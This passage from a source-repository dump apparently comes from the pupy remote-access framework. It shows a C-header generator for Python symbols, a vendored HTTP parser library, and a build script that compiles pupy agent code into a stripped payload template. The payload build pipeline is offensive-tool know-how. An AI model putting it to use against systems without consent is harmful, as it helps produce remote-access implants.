wchar_t *, Py_DecodeLocale, (const char *arg, size_t *size)

PyStatus, _PyRuntime_Initialize, (void)

void, PyPreConfig_InitPythonConfig, (PyPreConfig *config)
void, PyPreConfig_InitIsolatedConfig, (PyPreConfig *config)
PyStatus, Py_PreInitialize, (PyPreConfig *config)

void, PyConfig_InitPythonConfig, (PyConfig *config)
void, PyConfig_InitIsolatedConfig, (PyConfig *config)
PyStatus, Py_InitializeFromConfig, (const PyConfig *config)
PyStatus, _Py_InitializeMain, (void)

int, PyStatus_Exception, (PyStatus status)
void, Py_ExitStatusException, (PyStatus status)

int , Py_NoSiteFlag
int , Py_OptimizeFlag
int , Py_NoUserSiteDirectory
int , Py_DontWriteBytecodeFlag
int , Py_IgnoreEnvironmentFlag
int , Py_IsolatedFlag
int , Py_UnbufferedStdioFlag

PyObject, PyUnicode_Type
PyObject, _Py_NoneStruct
const char *, _Py_PackageContext

char *, Py_FileSystemDefaultEncoding
PyObject *, PyExc_ImportError
PyObject *, PyExc_Exception
PyObject *, PyExc_KeyError
PyObject *, PyExc_OSError



int, PyImport_AppendInittab, (const char *name, PyObject *(*initfunc)(void))
int, PyRun_SimpleString, (const char *command)

int, _PyImport_FixupExtensionObject, (PyObject *mod, PyObject *name, PyObject *filename, PyObject *modules)
PyObject *, PyImport_GetModuleDict, ()

PyObject *, PyFile_FromFd, (int fd, const char *name, const char *mode, int buffering, const char *encoding, const char *errors, const char *newline, int closefd)

'''.strip().splitlines()

#int , Py_LegacyWindowsFSEncodingFlag

# useful types ?
"""
"""


hfile = open("import-tab.h", "w")
cfile = open("import-tab.c", "w")

index = 0
for decl in decls:
    if not decl or decl.startswith("//"):
        continue
    items = decl.split(',', 2)
    if len(items) == 3:
        # exported function with argument list
        restype, name, argtypes = map(str.strip, items)
        print(f'#define {name} (({restype}(*){argtypes})py_sym_table[{index}].proc)', file=hfile)
    elif len(items) == 2:
        # exported data
        typ, name = map(str.strip, items)
        print(f'#define {name} (*(({typ}(*))py_sym_table[{index}].proc))', file=hfile)
    else:
        raise ValueError("could not parse %r" % decl)
    print(f'\t{{ "{name}", NULL }},', file=cfile)
    index += 1

hfile.close()
cfile.close()


================================================
FILE: client/pyoxidizer-build/build_template.sh
================================================
#!/bin/bash
# -*- coding: UTF8 -*-

python3 -m pip install pyoxidizer

# so let's copy important files necessary for the build
cp -r ../../pupy/agent lib/pupy/
cp -r ../../pupy/network lib/pupy/
cp -r ../../pupy/library_patches_py3 .

docker run -ti -v $(pwd):/pupy --rm n1nj4sec/pyoxidizer-builder:linux-x86_64 /bin/bash -c 'export PATH="/build/python/bin:$PATH"; cd /pupy; python3 -m pip install pyoxidizer; pyoxidizer build --release'

strip -s build/x86_64-unknown-linux-gnu/release/install/pyoxydizer_pupy
echo "saving built template to ~/.pupy/payload_templates/ ..."
mkdir -p ~/.pupy/payload_templates
cp ./build/x86_64-unknown-linux-gnu/release/install/pyoxydizer_pupy ~/.pupy/payload_templates/pupyx64-310.pyoxidizer.lin


# not working, missing msvc on windows
#docker run --rm -v $(pwd):/opt/win/drive_c/tools/pupy -ti wine 'set PATH=%PATH%;C:\\Program Files\\PyOxidizer && C: && cd C:\\tools\\pupy && pyoxidizer build --release'


================================================
FILE: client/pyoxidizer-build/lib/http_parser/__init__.py
================================================
# -*- coding: utf-8 -
#
# This file is part of http_parser released under the MIT license.
# See the NOTICE for more information.

version_info = (0, 9, 0)
__version__ = ".".join(map(str, version_info))


================================================
FILE: client/pyoxidizer-build/lib/http_parser/_socketio.py
================================================
"""
socketio taken from the python3 stdlib
"""
import io
import sys
from socket import timeout, error, socket
from errno import EINTR, EAGAIN, EWOULDBLOCK

_blocking_errnos = EAGAIN, EWOULDBLOCK


# python2.6 fixes

def _recv_into_sock_py26(sock, buf):
    data = sock.recv(len(buf))
    l = len(data)
    buf[:l] = data
    return l


if sys.version_info < (2, 7, 0, 'final'):
    _recv_into_sock = _recv_into_sock_py26
else:
    _recv_into_sock = lambda sock, buf: sock.recv_into(buf)


class SocketIO(io.RawIOBase):

    """Raw I/O implementation for stream sockets.

    This class supports the makefile() method on sockets.  It provides
    the raw I/O interface on top of a socket object.
    """

    # One might wonder why not let FileIO do the job instead.  There are two
    # main reasons why FileIO is not adapted:
    # - it wouldn't work under Windows (where you can't used read() and
    #   write() on a socket handle)
    # - it wouldn't work with socket timeouts (FileIO would ignore the
    #   timeout and consider the socket non-blocking)

    # XXX More docs

    def __init__(self, sock, mode):
        if mode not in ("r", "w", "rw", "rb", "wb", "rwb"):
            raise ValueError("invalid mode: %r" % mode)
        io.RawIOBase.__init__(self)
        self._sock = sock
        if "b" not in mode:
            mode += "b"
        self._mode = mode
        self._reading = "r" in mode
        self._writing = "w" in mode
        self._timeout_occurred = False

    def readinto(self, b):
        """Read up to len(b) bytes into the writable buffer *b* and return
        the number of bytes read.  If the socket is non-blocking and no bytes
        are available, None is returned.

        If *b* is non-empty, a 0 return value indicates that the connection
        was shutdown at the other end.
        """
        self._checkClosed()
        self._checkReadable()
        if self._timeout_occurred:
            raise IOError("cannot read from timed out object")
        while True:
            try:
                return _recv_into_sock(self._sock, b)
            except timeout:
                self._timeout_occurred = True
                raise
            except error as e:
                n = e.args[0]
                if n == EINTR:
                    continue
                if n in _blocking_errnos:
                    return None
                raise

    def write(self, b):
        """Write the given bytes or bytearray object *b* to the socket
        and return the number of bytes written.  This can be less than
        len(b) if not all data could be written.  If the socket is
        non-blocking and no bytes could be written None is returned.
        """
        self._checkClosed()
        self._checkWritable()
        try:
            return self._sock.send(b)
        except error as e:
            # XXX what about EINTR?
            if e.args[0] in _blocking_errnos:
                return None
            raise

    def readable(self):
        """True if the SocketIO is open for reading.
        """
        return self._reading and not self.closed

    def writable(self):
        """True if the SocketIO is open for writing.
        """
        return self._writing and not self.closed

    def fileno(self):
        """Return the file descriptor of the underlying socket.
        """
        self._checkClosed()
        return self._sock.fileno()

    @property
    def name(self):
        if not self.closed:
            return self.fileno()
        else:
            return -1

    @property
    def mode(self):
        return self._mode

    def close(self):
        """Close the SocketIO object.  This doesn't close the underlying
        socket, except if all references to it have disappeared.
        """
        if self.closed:
            return
        io.RawIOBase.close(self)
        self._sock = None

    def _checkClosed(self, msg=None):
        """Internal: raise an ValueError if file is closed
        """
        if self.closed:
            raise ValueError("I/O operation on closed file."
                             if msg is None else msg)


================================================
FILE: client/pyoxidizer-build/lib/http_parser/http.py
================================================
# -*- coding: utf-8 -
#
# This file is part of http-parser released under the MIT license.
# See the NOTICE for more information.

from io import DEFAULT_BUFFER_SIZE, BufferedReader, TextIOWrapper

try:
    from http_parser.parser import HttpParser
except ImportError:
    from http_parser.pyparser import HttpParser

from http_parser.reader import HttpBodyReader
from http_parser.util import status_reasons, bytes_to_str

HTTP_BOTH = 2
HTTP_RESPONSE = 1
HTTP_REQUEST = 0

class NoMoreData(Exception):
    """ exception raised when trying to parse headers but
    we didn't get all data needed.
    """

class ParserError(Exception):
    """ error while parsing http request """

class BadStatusLine(Exception):
    """ error when status line is invalid """

class HttpStream(object):
    """ An HTTP parser providing higher-level access to a readable,
    sequential io.RawIOBase object. You can use implementions of
    http_parser.reader (IterReader, StringReader, SocketReader) or
    create your own.
    """

    def __init__(self, stream, kind=HTTP_BOTH, decompress=False,
            parser_class=HttpParser):
        """ constructor of HttpStream.

        :attr stream: an io.RawIOBase object
        :attr kind: Int,  could be 0 to parseonly requests,
        1 to parse only responses or 2 if we want to let
        the parser detect the type.
        """
        self.parser = parser_class(kind=kind, decompress=decompress)
        self.stream = stream

    def _check_headers_complete(self):
        if self.parser.is_headers_complete():
            return

        while True:
            try:
                next(self)
            except StopIteration:
                if self.parser.is_headers_complete():
                    return
                raise NoMoreData("Can't parse headers")

            if self.parser.is_headers_complete():
                return


    def _wait_status_line(self, cond):
        if self.parser.is_headers_complete():
            return True

        data = []
        if not cond():
            while True:
                try:
                    d = next(self)
                    data.append(d)
                except StopIteration:
                    if self.parser.is_headers_complete():
                        return True
                    raise BadStatusLine(b"".join(data))
                if cond():
                    return True
        return True

    def _wait_on_url(self):
        return self._wait_status_line(self.parser.get_url)

    def _wait_on_status(self):
        return self._wait_status_line(self.parser.get_status_code)

    def _wait_on_method(self):
        return self._wait_status_line(self.parser.get_method)

    def url(self):
        """ get full url of the request """
        self._wait_on_url()
        return self.parser.get_url()

    def path(self):
        """ get path of the request (url without query string and
        fragment """
        self._wait_on_url()
        return self.parser.get_path()

    def query_string(self):
        """ get query string of the url """
        self._wait_on_url()
        return self.parser.get_query_string()

    def fragment(self):
        """ get fragment of the url """
        self._wait_on_url()
        return self.parser.get_fragment()

    def version(self):
        self._wait_on_status()
        return self.parser.get_version()

    def status_code(self):
        """ get status code of a response as integer """
        self._wait_on_status()
        return self.parser.get_status_code()

    def status(self):
        """ return complete status with reason """
        status_code = self.status_code()
        reason = status_reasons.get(int(status_code), 'unknown')
        return "%s %s" % (status_code, reason)


    def method(self):
        """ get HTTP method as string"""
        self._wait_on_method()
        return self.parser.get_method()

    def headers(self):
        """ get request/response headers, headers are returned in a
        OrderedDict that allows you to get value using insensitive
        keys."""
        self._check_headers_complete()
        headers = self.parser.get_headers()
        return headers.copy()

    def should_keep_alive(self):
        """ return True if the connection should be kept alive
        """
        self._check_headers_complete()
        return self.parser.should_keep_alive()

    def is_chunked(self):
        """ return True if Transfer-Encoding header value is chunked"""
        self._check_headers_complete()
        return self.parser.is_chunked()

    def wsgi_environ(self, initial=None):
        """ get WSGI environ based on the current request.

        :attr initial: dict, initial values to fill in environ.
        """
        self._check_headers_complete()
        return self.parser.get_wsgi_environ()

    def body_file(self, buffering=None, binary=True, encoding=None,
            errors=None, newline=None):
        """ return the body as a buffered stream object. If binary is
        true an io.BufferedReader will be returned, else an
        io.TextIOWrapper.
        """
        self._check_headers_complete()

        if buffering is None:
            buffering = -1
        if buffering < 0:
            buffering = DEFAULT_BUFFER_SIZE

        raw = HttpBodyReader(self)
        buf = BufferedReader(raw, buffering)
        if binary:
            return buf
        text = TextIOWrapper(buf, encoding, errors, newline)
        return text

    def body_string(self, binary=True, encoding=None, errors=None,
            newline=None):
        """ return body as string """
        return self.body_file(binary=binary, encoding=encoding,
                newline=newline).read()

    def __iter__(self):
        return self

    def __next__(self):
        if self.parser.is_message_complete():
            raise StopIteration

        # fetch data
        b = bytearray(DEFAULT_BUFFER_SIZE)

        # if a nonblocking socket is used
        # then pep 3116 demands read/readinto to return 0
        recved = self.stream.readinto(b)
        if recved is None:
            raise IOError('nonblocking socket used in blocking code')

        del b[recved:]
        to_parse = bytes(b)
        # parse data
        nparsed = self.parser.execute(to_parse, recved)
        if nparsed != recved and not self.parser.is_message_complete():
            raise ParserError("nparsed != recved (%s != %s) [%s]" % (nparsed,
                recved, bytes_to_str(to_parse)))

        if recved == 0:
            raise StopIteration

        return to_parse

    next = __next__


================================================
FILE: client/pyoxidizer-build/lib/http_parser/pyparser.py
================================================
# -*- coding: utf-8 -
#
# This file is part of http-parser released under the MIT license.
# See the NOTICE for more information.

import os
import re
import sys

if sys.version_info >= (3,):
    import urllib.parse as urlparse
else:
    import urlparse

import zlib

from http_parser.util import (b, bytes_to_str, IOrderedDict, StringIO,
        unquote, MAXSIZE)


METHOD_RE = re.compile("[A-Z0-9$-_.]{3,20}")
VERSION_RE = re.compile("HTTP/(\d+).(\d+)")
STATUS_RE = re.compile("(\d{3})\s*(\w*)")
HEADER_RE = re.compile("[\x00-\x1F\x7F()<>@,;:\[\]={} \t\\\\\"]")

# errors
BAD_FIRST_LINE = 0
INVALID_HEADER = 1
INVALID_CHUNK = 2

class InvalidRequestLine(Exception):
    """ error raised when first line is invalid """

class InvalidHeader(Exception):
    """ error raised on invalid header """

class InvalidChunkSize(Exception):
    """ error raised when we parse an invalid chunk size """

class HttpParser(object):

    def __init__(self, kind=2, decompress=False):
        self.kind = kind
        self.decompress = decompress

        # errors vars
        self.errno = None
        self.errstr = ""

        # protected variables
        self._buf = []
        self._version = None
        self._method = None
        self._status_code = None
        self._status = None
        self._reason = None
        self._url = None
        self._path = None
        self._query_string = None
        self._fragment= None
        self._headers = IOrderedDict()
        self._environ = dict()
        self._chunked = False
        self._body = []
        self._trailers = None
        self._partial_body = False
        self._clen = None
        self._clen_rest = None

        # private events
        self.__on_firstline = False
        self.__on_headers_complete = False
        self.__on_message_begin = False
        self.__on_message_complete = False

        self.__decompress_obj = None
        self.__decompress_first_try = True

    def get_version(self):
        return self._version

    def get_method(self):
        return self._method

    def get_status_code(self):
        return self._status_code

    def get_url(self):
        return self._url

    def get_path(self):
        return self._path

    def get_query_string(self):
        return self._query_string

    def get_fragment(self):
        return self._fragment

    def get_headers(self):
        return self._headers

    def get_wsgi_environ(self):
        if not self.__on_headers_complete:
            return None

        environ = self._environ.copy()
        # clean special keys
        for key in ("CONTENT_LENGTH", "CONTENT_TYPE", "SCRIPT_NAME"):
            hkey = "HTTP_%s" % key
            if hkey in environ:
                environ[key] = environ.pop(hkey)

        script_name = environ.get('SCRIPT_NAME',
                os.environ.get("SCRIPT_NAME", ""))
        if script_name:
            path_info = self._path.split(script_name, 1)[1]
            environ.update({
                "PATH_INFO": unquote(path_info),
                "SCRIPT_NAME": script_name})
        else:
            environ['SCRIPT_NAME'] = ""

        if environ.get('HTTP_X_FORWARDED_PROTOCOL', '').lower() == "ssl":
            environ['wsgi.url_scheme'] = "https"
        elif environ.get('HTTP_X_FORWARDED_SSL', '').lower() == "on":
            environ['wsgi.url_scheme'] = "https"
        else:
            environ['wsgi.url_scheme'] = "http"

        return environ

    def recv_body(self):
        """ return last chunk of the parsed body"""
        body = b("").join(self._body)
        self._body = []
        self._partial_body = False
        return body

    def recv_body_into(self, barray):
        """ Receive the last chunk of the parsed body and store the data
        in a buffer rather than creating a new string. """
        l = len(barray)
        body = b("").join(self._body)
        m = min(len(body), l)
        data, rest = body[:m], body[m:]
        barray[0:m] = data
        if not rest:
            self._body = []
            self._partial_body = False
        else:
            self._body = [rest]
        return m

    def is_upgrade(self):
        """ Do we get upgrade header in the request. Useful for
        websockets """
        hconn = self._headers.get('connection', "").lower()
        hconn_parts = [x.strip() for x in hconn.split(',')]
        return "upgrade" in hconn_parts

    def is_headers_complete(self):
        """ return True if all headers have been parsed. """
        return self.__on_headers_complete

    def is_partial_body(self):
        """ return True if a chunk of body have been parsed """
        return self._partial_body

    def is_message_begin(self):
        """ return True if the parsing start """
        return self.__on_message_begin

    def is_message_complete(self):
        """ return True if the parsing is done (we get EOF) """
        return self.__on_message_complete

    def is_chunked(self):
        """ return True if Transfer-Encoding header value is chunked"""
        return self._chunked

    def should_keep_alive(self):
        """ return True if the connection should be kept alive
        """
        hconn = self._headers.get('connection', "").lower()
        if hconn == "close":
            return False
        elif hconn == "keep-alive":
            return True
        return self._version == (1, 1)

    def execute(self, data, length):
        # end of body can be passed manually by putting a length of 0

        if length == 0:
            self.__on_message_complete = True
            return length

        # start to parse
        nb_parsed = 0
        while True:
            if not self.__on_firstline:
                idx = data.find(b("\r\n"))
                if idx < 0:
                    self._buf.append(data)
                    return len(data)
                else:
                    self.__on_firstline = True
                    self._buf.append(data[:idx])
                    first_line = bytes_to_str(b("").join(self._buf))
                    nb_parsed = nb_parsed + idx + 2

                    rest = data[idx+2:]
                    data = b("")
                    if self._parse_firstline(first_line):
                        self._buf = [rest]
                    else:
                        return nb_parsed
            elif not self.__on_headers_complete:
                if data:
                    self._buf.append(data)
                    data = b("")

                try:
                    to_parse = b("").join(self._buf)
                    ret = self._parse_headers(to_parse)
                    if type(ret) is bool and not ret:
                        return length
                    nb_parsed = nb_parsed + (len(to_parse) - ret)
                except InvalidHeader as e:
                    self.errno = INVALID_HEADER
                    self.errstr = str(e)
                    return nb_parsed
            elif not self.__on_message_complete:
                if not self.__on_message_begin:
                    self.__on_message_begin = True

                if data:
                    self._buf.append(data)
                    data = b("")

                ret = self._parse_body()
                if ret is None:
                    return length

                elif ret < 0:
                    return ret
                elif ret == 0:
                    self.__on_message_complete = True
                    return length
                else:
                    nb_parsed = max(length, ret)

            else:
                return 0

    def _parse_firstline(self, line):
        try:
            if self.kind == 2: # auto detect
                try:
                    self._parse_request_line(line)
                except InvalidRequestLine:
                    self._parse_response_line(line)
            elif self.kind == 1:
                self._parse_response_line(line)
            elif self.kind == 0:
                self._parse_request_line(line)
        except InvalidRequestLine as e:
            self.errno = BAD_FIRST_LINE
            self.errstr = str(e)
            return False
        return True

    def _parse_response_line(self, line):
        bits = line.split(None, 1)
        if len(bits) != 2:
            raise InvalidRequestLine(line)

        # version
        matchv = VERSION_RE.match(bits[0])
        if matchv is None:
            raise InvalidRequestLine("Invalid HTTP version: %s" % bits[0])
        self._version = (int(matchv.group(1)), int(matchv.group(2)))

        # status
        matchs = STATUS_RE.match(bits[1])
        if matchs is None:
            raise InvalidRequestLine("Invalid status %" % bits[1])

        self._status = bits[1]
        self._status_code = int(matchs.group(1))
        self._reason = matchs.group(2)

    def _parse_request_line(self, line):
        bits = line.split(None, 2)
        if len(bits) != 3:
            raise InvalidRequestLine(line)

        # Method
        if not METHOD_RE.match(bits[0]):
            raise InvalidRequestLine("invalid Method: %s" % bits[0])
        self._method = bits[0].upper()

        # URI
        self._url = bits[1]
        parts = urlparse.urlsplit(bits[1])
        self._path = parts.path or ""
        self._query_string = parts.query or ""
        self._fragment = parts.fragment or ""

        # Version
        match = VERSION_RE.match(bits[2])
        if match is None:
            raise InvalidRequestLine("Invalid HTTP version: %s" % bits[2])
        self._version = (int(match.group(1)), int(match.group(2)))

        # update environ
        if hasattr(self,'_environ'):
            self._environ.update({
                "PATH_INFO": self._path,
                "QUERY_STRING": self._query_string,
                "RAW_URI": self._url,
                "REQUEST_METHOD": self._method,
                "SERVER_PROTOCOL": bits[2]})

    def _parse_headers(self, data):
        idx = data.find(b("\r\n\r\n"))
        if idx < 0: # we don't have all headers
            if self._status_code == 204 and data == b("\r\n"):
                self._buf = []
                self.__on_headers_complete = True
                return 0
            else:
                return False

        # Split lines on \r\n keeping the \r\n on each line
        lines = [bytes_to_str(line) + "\r\n" for line in
                data[:idx].split(b("\r\n"))]

        # Parse headers into key/value pairs paying attention
        # to continuation lines.
        while len(lines):
            # Parse initial header name : value pair.
            curr = lines.pop(0)
            if curr.find(":") < 0:
                raise InvalidHeader("invalid line %s" % curr.strip())
            name, value = curr.split(":", 1)
            name = name.rstrip(" \t").upper()
            if HEADER_RE.search(name):
                raise InvalidHeader("invalid header name %s" % name)

            if value.endswith("\r\n"):
                value = value[:-2]

            name, value = name.strip(), [value.lstrip()]

            # Consume value continuation lines
            while len(lines) and lines[0].startswith((" ", "\t")):
                curr = lines.pop(0)
                if curr.endswith("\r\n"):
                    curr = curr[:-2]
                value.append(curr)
            value = ''.join(value).rstrip()

            # multiple headers
            if name in self._headers:
                value = "%s, %s" % (self._headers[name], value)

            # store new header value
            self._headers[name] = value

            # update WSGI environ
            key =  'HTTP_%s' % name.upper().replace('-','_')
            self._environ[key] = value

        # detect now if body is sent by chunks.
        clen = self._headers.get('content-length')
        te = self._headers.get('transfer-encoding', '').lower()

        if clen is not None:
            try:
                self._clen_rest = self._clen = int(clen)
            except ValueError:
                pass
        else:
            self._chunked = (te == 'chunked')
            if not self._chunked:
                self._clen_rest = MAXSIZE

        # detect encoding and set decompress object
        encoding = self._headers.get('content-encoding')
        if self.decompress:
            if encoding == "gzip":
                self.__decompress_obj = zlib.decompressobj(16+zlib.MAX_WBITS)
                self.__decompress_first_try = False
            elif encoding == "deflate":
                self.__decompress_obj = zlib.decompressobj()

        rest = data[idx+4:]
        self._buf = [rest]
        self.__on_headers_complete = True
        return len(rest)

    def _parse_body(self):
        if self._status_code == 204 and len(self._buf) == 0:
            self.__on_message_complete = True
            return
        elif not self._chunked:
            body_part = b("").join(self._buf)
            self._clen_rest -= len(body_part)

            # maybe decompress
            if self.__decompress_obj is not None:
                if not self.__decompress_first_try:
                    body_part = self.__decompress_obj.decompress(body_part)
                else:
                    try:
                        body_part = self.__decompress_obj.decompress(body_part)
                    except zlib.error:
                        self.__decompress_obj.decompressobj = zlib.decompressobj(-zlib.MAX_WBITS)
                        body_part = self.__decompress_obj.decompress(body_part)
                    self.__decompress_first_try = False


            self._partial_body = True
            self._body.append(body_part)
            self._buf = []

            if self._clen_rest <= 0:
                self.__on_message_complete = True
            return
        else:
            data = b("").join(self._buf)
            try:

                size, rest = self._parse_chunk_size(data)
            except InvalidChunkSize as e:
                self.errno = INVALID_CHUNK
                self.errstr = "invalid chunk size [%s]" % str(e)
                return -1

            if size == 0:
                return size

            if size is None or len(rest) < size + 2:  # wait till terminator
                return None


            body_part, rest = rest[:size], rest[size:]
            if len(rest) < 2:
                self.errno = INVALID_CHUNK
                self.errstr = "chunk missing terminator [%s]" % data
                return -1

            # maybe decompress
            if self.__decompress_obj is not None:
                body_part = self.__decompress_obj.decompress(body_part)

            self._partial_body = True
            self._body.append(body_part)

            self._buf = [rest[2:]]
            return len(rest)

    def _parse_chunk_size(self, data):
        idx = data.find(b("\r\n"))
        if idx < 0:
            return None, None
        line, rest_chunk = data[:idx], data[idx+2:]
        chunk_size = line.split(b(";"), 1)[0].strip()
        try:
            chunk_size = int(chunk_size, 16)
        except ValueError:
            raise InvalidChunkSize(chunk_size)

        if chunk_size == 0:
            self._parse_trailers(rest_chunk)
            return 0, None
        return chunk_size, rest_chunk

    def _parse_trailers(self, data):
        idx = data.find(b("\r\n\r\n"))

        if data[:2] == b("\r\n"):
            self._trailers = self._parse_headers(data[:idx])


================================================
FILE: client/pyoxidizer-build/lib/http_parser/reader.py
================================================
# -*- coding: utf-8 -
#
# This file is part of http-parser released under the MIT license.

# See the NOTICE for more information.

from io import DEFAULT_BUFFER_SIZE, RawIOBase

from http_parser.util import StringIO

import types

class HttpBodyReader(RawIOBase):
    """ Raw implementation to stream http body """

    def __init__(self, http_stream):
        self.http_stream = http_stream
        self.eof = False

    def readinto(self, b):
        if self.http_stream.parser.is_message_complete() or self.eof:
            if  self.http_stream.parser.is_partial_body():
                return self.http_stream.parser.recv_body_into(b)
            return 0

        self._checkReadable()
        try:
            self._checkClosed()
        except AttributeError:
            pass

        while True:
            buf = bytearray(DEFAULT_BUFFER_SIZE)
            recved = self.http_stream.stream.readinto(buf)
            if recved is None:
                break

            del buf[recved:]
            nparsed = self.http_stream.parser.execute(bytes(buf), recved)
            if nparsed != recved:
                return None

            if self.http_stream.parser.is_partial_body() or recved == 0:
                break
            elif self.http_stream.parser.is_message_complete():
                break

        if not self.http_stream.parser.is_partial_body():
            self.eof = True
            b = b''
            return len(b'')

        return self.http_stream.parser.recv_body_into(b)

    def readable(self):
        return not self.closed or self.http_stream.parser.is_partial_body()

    def close(self):
        if self.closed:
            return
        RawIOBase.close(self)
        self.http_stream = None

class IterReader(RawIOBase):
    """ A raw reader implementation for iterable """
    def __init__(self, iterable):
        self.iter = iter(iterable)
        self._buffer = ""

    def readinto(self, b):
        self._checkClosed()
        self._checkReadable()

        l = len(b)
        try:
            chunk = self.iter.next()
            self._buffer += chunk
            m = min(len(self._buffer), l)
            data, self._buffer = self._buffer[:m], self._buffer[m:]
            b[0:m] = data
            return len(data)
        except StopIteration:
            del b[0:]
            return 0

    def readable(self):
        return not self.closed

    def close(self):
        if self.closed:
            return
        RawIOBase.close(self)
        self.iter = None

class StringReader(IterReader):
    """ a raw reader for strings or StringIO.StringIO,
    cStringIO.StringIO objects """

    def __init__(self, string):
        if isinstance(string, types.StringTypes):
            iterable = StringIO(string)
        else:
            iterable = string
        IterReader.__init__(self, iterable)

from http_parser._socketio import SocketIO

class SocketReader(SocketIO):
    def __init__(self, sock):
        super(SocketReader, self).__init__(sock, mode='rb')


================================================
FILE: client/pyoxidizer-build/lib/http_parser/util.py
================================================
# -*- coding: utf-8 -
#
# This file is part of http-parser released under the MIT license.
# See the NOTICE for more information.


import sys
try:
    # Python 3.3+
    from collections.abc import MutableMapping
except ImportError:
    from collections import MutableMapping


if sys.version_info[0] >= 3:
    from urllib.parse import unquote
    def b(s):
        return s.encode("latin-1")

    def bytes_to_str(b):
        return str(b, 'latin1')

    string_types = str,

    import io
    StringIO = io.StringIO

    MAXSIZE = sys.maxsize

else:
    from urllib import unquote
    def b(s):
        return s

    def bytes_to_str(s):
        return s

    string_types = basestring,

    try:
        import cStringIO
        StringIO = BytesIO = cStringIO.StringIO
    except ImportError:
        import StringIO
        StringIO = BytesIO = StringIO.StringIO

    # It's possible to have sizeof(long) != sizeof(Py_ssize_t).
    class X(object):
        def __len__(self):
            return 1 << 31
    try:
        len(X())
    except OverflowError:
        # 32-bit
        MAXSIZE = int((1 << 31) - 1)
    else:
        # 64-bit
        MAXSIZE = int((1 << 63) - 1)
    del X

class IOrderedDict(dict, MutableMapping):
    'Dictionary that remembers insertion order with insensitive key'
    # An inherited dict maps keys to values.
    # The inherited dict provides __getitem__, __len__, __contains__, and get.
    # The remaining methods are order-aware.
    # Big-O running times for all methods are the same as for regular dictionaries.

    # The internal self.__map dictionary maps keys to links in a doubly linked list.
    # The circular doubly linked list starts and ends with a sentinel element.
    # The sentinel element never gets deleted (this simplifies the algorithm).
    # Each link is stored as a list of length three:  [PREV, NEXT, KEY].

    def __init__(self, *args, **kwds):
        '''Initialize an ordered dictionary.  Signature is the same as for
        regular dictionaries, but keyword arguments are not recommended
        because their insertion order is arbitrary.

        '''
        if len(args) > 1:
            raise TypeError('expected at most 1 arguments, got %d' % len(args))
        try:
            self.__root
        except AttributeError:
            self.__root = root = [None, None, None]     # sentinel node
            PREV = 0
            NEXT = 1
            root[PREV] = root[NEXT] = root
            self.__map = {}
        self.__lower = {}
        self.update(*args, **kwds)

    def __setitem__(self, key, value, PREV=0, NEXT=1, dict_setitem=dict.__setitem__):
        'od.__setitem__(i, y) <==> od[i]=y'
        # Setting a new item creates a new link which goes at the end of the linked
        # list, and the inherited dictionary is updated with the new key/value pair.
        if key not in self:
            root = self.__root
            last = root[PREV]
            last[NEXT] = root[PREV] = self.__map[key] = [last, root, key]
            self.__lower[key.lower()] = key
        key = self.__lower[key.lower()]
        dict_setitem(self, key, value)

    def __delitem__(self, key, PREV=0, NEXT=1, dict_delitem=dict.__delitem__):
        'od.__delitem__(y) <==> del od[y]'
        # Deleting an existing item uses self.__map to find the link which is
        # then removed by updating the links in the predecessor and successor nodes.
        if key in self:
            key = self.__lower.pop(key.lower())

        dict_delitem(self, key)
        link = self.__map.pop(key)
        link_prev = link[PREV]
        link_next = link[NEXT]
        link_prev[NEXT] = link_next
        link_next[PREV] = link_prev

    def __getitem__(self, key, dict_getitem=dict.__getitem__):
        if key in self:
            key = self.__lower.get(key.lower())
        return dict_getitem(self, key)

    def __contains__(self, key):
        return key.lower() in self.__lower

    def __iter__(self, NEXT=1, KEY=2):
        'od.__iter__() <==> iter(od)'
        # Traverse the linked list in order.
        root = self.__root
        curr = root[NEXT]
        while curr is not root:
            yield curr[KEY]
            curr = curr[NEXT]

    def __reversed__(self, PREV=0, KEY=2):
        'od.__reversed__() <==> reversed(od)'
        # Traverse the linked list in reverse order.
        root = self.__root
        curr = root[PREV]
        while curr is not root:
            yield curr[KEY]
            curr = curr[PREV]

    def __reduce__(self):
        'Return state information for pickling'
        items = [[k, self[k]] for k in self]
        tmp = self.__map, self.__root
        del self.__map, self.__root
        inst_dict = vars(self).copy()
        self.__map, self.__root = tmp
        if inst_dict:
            return (self.__class__, (items,), inst_dict)
        return self.__class__, (items,)

    def clear(self):
        'od.clear() -> None.  Remove all items from od.'
        try:
            for node in self.__map.values():
                del node[:]
            self.__root[:] = [self.__root, self.__root, None]
            self.__map.clear()
        except AttributeError:
            pass
        dict.clear(self)

    def get(self, key, default=None):
        if key in self:
            return self[key]
        return default

    setdefault = MutableMapping.setdefault
    update = MutableMapping.update
    pop = MutableMapping.pop
    keys = MutableMapping.keys
    values = MutableMapping.values
    items = MutableMapping.items
    __ne__ = MutableMapping.__ne__

    def popitem(self, last=True):
        '''od.popitem() -> (k, v), return and remove a (key, value) pair.
        Pairs are returned in LIFO order if last is true or FIFO order if false.

        '''
        if not self:
            raise KeyError('dictionary is empty')
        key = next(reversed(self) if last else iter(self))
        value = self.pop(key)
        return key, value

    def __repr__(self):
        'od.__repr__() <==> repr(od)'
        if not self:
            return '%s()' % (self.__class__.__name__,)
        return '%s(%r)' % (self.__class__.__name__, list(self.items()))

    def copy(self):
        'od.copy() -> a shallow copy of od'
        return self.__class__(self)

    @classmethod
    def fromkeys(cls, iterable, value=None):
        '''OD.fromkeys(S[, v]) -> New ordered dictionary with keys from S
        and values equal to v (which defaults to None).

        '''
        d = cls()
        for key in iterable:
            d[key] = value
        return d

    def __eq__(self, other):
        '''od.__eq__(y) <==> od==y.  Comparison to another OD is order-sensitive
        while comparison to a regular mapping is order-insensitive.

        '''
        if isinstance(other, IOrderedDict):
            return len(self)==len(other) and \
                    set(self.items()) == set(other.items())
        return dict.__eq__(self, other)

    def __del__(self):
        self.clear()                # eliminate cyclical references


status_reasons = {
    # Status Codes
    # Informational
    100: 'Continue',
    101: 'Switching Protocols',
    102: 'Processing',

    # Successful
    200: 'OK',
    201: 'Created',
    202: 'Accepted',
    203: 'Non Authoritative Information',
    204: 'No Content',
    205: 'Reset Content',
    206: 'Partial Content',
    207: 'Multi Status',
    226: 'IM Used',

    # Redirection
    300: 'Multiple Choices',
    301: 'Moved Permanently',
    302: 'Found',
    303: 'See Other',
    304: 'Not Modified',
    305: 'Use Proxy',
    307: 'Temporary Redirect',

    # Client Error
    400: 'Bad Request',
    401: 'Unauthorized',
    402: 'Payment Required',
    403: 'Forbidden',
    404: 'Not Found',
    405: 'Method Not Allowed',
    406: 'Not Acceptable',
    407: 'Proxy Authentication Required',
    408: 'Request Timeout',
    409: 'Conflict',
